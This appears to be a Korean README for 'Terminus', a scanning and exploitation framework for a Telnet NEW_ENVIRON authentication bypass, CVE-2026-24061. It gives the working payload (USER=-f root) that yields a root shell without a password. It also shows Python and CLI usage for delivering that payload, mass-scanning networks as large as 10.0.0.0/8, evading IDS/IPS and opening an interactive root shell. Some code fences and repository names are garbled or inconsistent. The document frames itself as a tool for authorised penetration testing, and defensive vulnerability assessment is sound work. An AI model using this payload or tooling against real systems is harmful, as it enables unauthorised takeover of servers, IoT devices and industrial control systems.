Terminus - CVE-2026-24061 스캐너 및 익스플로잇 프레임워크

CVE-2026-24061 Telnet NEW_ENVIRON 인증 우회 및 권한 상승 취약점을 위한 보안 분석 엔진입니다.

---

개요

Terminus는 CVE-2026-24061의 승인된 침투 테스트 및 취약점 평가를 위해 설계된 전문 보안 연구 도구입니다. 이 치명적인 취약점은 레거시 Telnet 데몬 구현에 영향을 미치며, 비인증 원격 공격자가 인증을 우회하고 root 수준의 접근 권한을 얻을 수 있게 합니다.

CVE-2026-24061이란 무엇인가?

CVE-2026-24061은 RFC 1572(Telnet 환경 옵션)를 지원하는 Telnet 서비스의 원격 코드 실행 취약점입니다. 이 취약점은 NEW_ENVIRON 하위 협상 중 USER 환경 변수의 부적절한 검증을 악용합니다:

• 정상 인증: USER=john → 비밀번호 요청
• 익스플로잇 페이로드: USER=-f root → 인증 우회, root 셸 부여

영향:

• 완전한 인증 우회(비밀번호 불필요)
• root로의 즉각적인 권한 상승
• 전체 시스템 장악

영향을 받는 서비스:

• 레거시 Telnet GNU Inetutils telnetd(특히 2.7까지의 버전)
• 취약한 Telnet 구현이 포함된 IoT 펌웨어
• 오래된 Telnet 서비스를 사용하는 산업용 제어 시스템

---

주요 기능

대규모 취약점 스캐너

• 고동시성 스캐닝: AsyncIO를 사용하여 1,000개 이상의 대상을 동시에 스캔
• CIDR 지원: 전체 네트워크 범위 스캔(192.168.0.0/24, 10.0.0.0/8)
• 이중 탐지 모드:
  • 수동(기본값): 빠르고 안전한 시그니처 기반 탐지
  • 능동 검증(--verify): 익스플로잇 증명, uid=0 root 접근 확인
• 배너 분석: 데몬 유형 및 버전 핑거프린팅
• 위험 점수: 다층 신뢰도 평가(CRITICAL, HIGH, MEDIUM, LOW)

RFC 준수 프로토콜 엔진

• TerminusNegotiator 클래스: Telnet 프로토콜 작업을 위한 깔끔한 API
  • Terminus.handshake() - RFC 854 준수 핸드셰이크
  • Terminus.exploit() - CVE-2026-24061 페이로드 전달
• 적절한 옵션 협상: 프로토콜 준수를 통한 IDS/IPS 탐지 회피
• 상태 머신: IAC 시퀀스(DO/DONT/WILL/WONT/SB/SE)의 견고한 처리

권한 게이트 익스플로잇

• 대화형 셸: root 접근 권한이 있는 완전한 사후 익스플로잇 셸
• 명령 실행: 단일 명령 실행 및 출력 캡처
• 증거 수집: uid, 환경 변수, 시스템 정보 수집
• 안전 메커니즘:
  • 명시적 --exploit 플래그 필요
  • 배치 스캐닝 모드에서 비활성화
  • 모든 익스플로잇 시도의 감사 로깅

다중 형식 보고

• 터미널: 색상 코드 위험 수준이 포함된 리치 형식 테이블
• JSON: SIEM/SOAR 통합
• CSV: 스프레드시트 추적
• HTML: 통계가 포함된 상세 보고서
• Markdown: 문서화 친화적 출력

---

아키텍처

핵심 엔진: TerminusNegotiator

Terminus의 핵심은 프로토콜 처리와 익스플로잇 로직을 명확하게 분리하는 TerminusNegotiator 클래스입니다:```python from terminus import TerminusNegotiator

Initialize engine

negotiator = TerminusNegotiator()

Step 1: RFC 854 compliant handshake

await negotiator.handshake(target="192.168.1.100", port=23)

Step 2: Deliver CVE-2026-24061 payload

result = await negotiator.exploit(payload="-f root")

if result.success: print(f"Root shell acquired: {result.evidence['uid']}")

### 엔진 vs. 스크립트 접근 방식

**기존 스크립트** (기존 도구):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell

Terminus 엔진:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report

---

## 설치

### 요구 사항
- **Python 3.10+**
- **지원 플랫폼:**
  - Windows 10/11 (PowerShell)
  - Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
  - 네이티브 Linux (Kali, Parrot, Ubuntu, Debian)
  - macOS (Python 3.10+ 포함)

### 빠른 시작 (모든 플랫폼)

#### Windows (PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git

# Run setup script
.\setup_env.ps1

# Activate virtual environment
.venv\Scripts\Activate.ps1

# Verify installation
terminus --version

Linux / WSL2 / macOS (Bash)```bash

Clone repository

git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406

Run setup script

chmod +x setup_env.sh ./setup_env.sh

Activate virtual environment

source venv/bin/activate

Verify installation

terminus --version

#### 수동 설치 (모든 플랫폼)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406

# Create virtual environment
python3 -m venv venv

# Activate (Linux/macOS/WSL)
source venv/bin/activate

# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1

# Install dependencies
pip install -e .

# Verify
terminus --version

종속성 (크로스 플랫폼)

• telnetlib3 - AsyncIO Telnet 프로토콜 구현
• rich - 터미널 UI 및 포맷팅 (Windows/Linux에서 ANSI 지원)
• pydantic - 데이터 검증 및 모델
• aiofiles - 비동기 파일 I/O
• jinja2 - 보고서 템플릿 생성
• pyyaml - 구성 관리
• pathlib - 크로스 플랫폼 경로 처리 (내장)

참고: 모든 종속성은 순수 Python이거나 크로스 플랫폼 휠을 제공합니다. 플랫폼별 컴파일이 필요하지 않습니다.

---

셸 완성 (선택 사항)

더 빠른 명령 입력을 위해 탭 완성을 활성화합니다:

Bash```bash

_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc

### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc

Fish```bash

_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish

### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression

테스트해 보세요:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.

---

## 사용법

### 스캔 모드

#### 단일 대상 스캔```bash
terminus scan -t 192.168.1.100

CIDR 범위 스캔```bash

terminus scan -t 192.168.1.0/24

#### 파일 기반 배치 스캔```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500

고동시성 네트워크 스캔```bash

terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200

### 탐지 모드

#### 수동 탐지 (기본값 - 안전)```bash
terminus scan -t target.com --passive-only

공격적 탐지 (모든 휴리스틱)```bash

terminus scan -t target.com --aggressive

#### 능동 검증 모드 (익스플로잇 증명)```bash
terminus scan -t 192.168.1.100 --verify

사용 방법

실시간 데모

버전 확인:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db

**수동 스캔 (기본값 - 보수적 위험 평가):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Parsing 1 targets...
Found 1 valid targets